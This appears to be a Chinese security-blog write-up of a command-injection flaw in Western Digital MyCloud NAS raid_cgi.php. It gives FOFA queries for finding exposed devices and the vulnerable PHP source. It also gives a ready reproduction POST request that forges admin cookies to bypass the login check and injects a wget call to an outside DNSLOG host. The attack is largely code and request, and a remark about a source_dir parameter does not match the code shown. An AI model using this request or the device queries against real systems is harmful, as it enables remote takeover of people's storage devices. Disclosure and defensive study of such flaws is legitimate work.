西部数码 NAS raid_cgi.php 命令执行漏洞


漏洞简介

Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS raid_cgi.php中存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。

影响版本

<=2.11.153(老版本,已发布修复补丁)

fofa语法

icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"

body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "

漏洞分析

直接看 raid_cgi.php 其业务实现逻辑如下

<?php
//session_start();
//$r = new stdClass();
//$r->success = false;
//
//include ("../lib/login_checker.php");
//
///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */
//if (login_check() != 1)
//{
//  echo json_encode($r);
//  exit;
//}

$action = $_POST['cmd'];
if ($action == "") $action = $_GET['cmd'];

$r = new stdClass();
switch ($action)
{
    case "cgi_Run_Smart_Test":
    {
       $run_cmd = $_POST['run_cmd'];
       system("smart_test -X > /dev/null");

       $run_cmd .= " > /dev/null &";
       system($run_cmd);
       sleep(3);

       $r->run_cmd = $run_cmd;
       $r->ret = $ret;
       $r->success = true;
       echo json_encode($r);
    }
       break;

    case "cgi_Get_SysInfo":
    {
       $_TMP_SYSINFO_XML = "/var/www/xml/_tmp_sysinfo.xml";
       system("xmldbc  -p /disks $_TMP_SYSINFO_XML -S /var/run/xmldb_sock_sysinfo");
       echo file_get_contents($_TMP_SYSINFO_XML);
       @unlink($_TMP_SYSINFO_XML);
    }
       break;
}
?>

当cmd=cgi_Run_Smart_Test时,$run_cmd 是直接拼接进system进行执行,期间对参数没有过滤或校验,导致了命令注入漏洞。尽管此漏洞需要管理员权限才能触发,但可以结合login_check的权限绕过达到 rce的效果。

漏洞复现

需要注意source_dir应为数组形式,否则foreach循环判断会出错

POST /web/storage/raid_cgi.php HTTP/1.1
Host: west-nas.mrxn.ent
Cookie: isAdmin=1;username=admin
Content-Type: application/x-www-form-urlencoded

cmd=cgi_Run_Smart_Test&run_cmd=$(wget raid.cgi.dnslog.pt)

成功在DNSLOG平台收到DNS和HTTP请求


手机扫码阅读

利用 Windows Defender 的文件夹重定向与符号链接技术干翻它自己

金和OA dailytaskmanage/XmlHttp.aspx XXE漏洞+SQL注入漏洞

评 论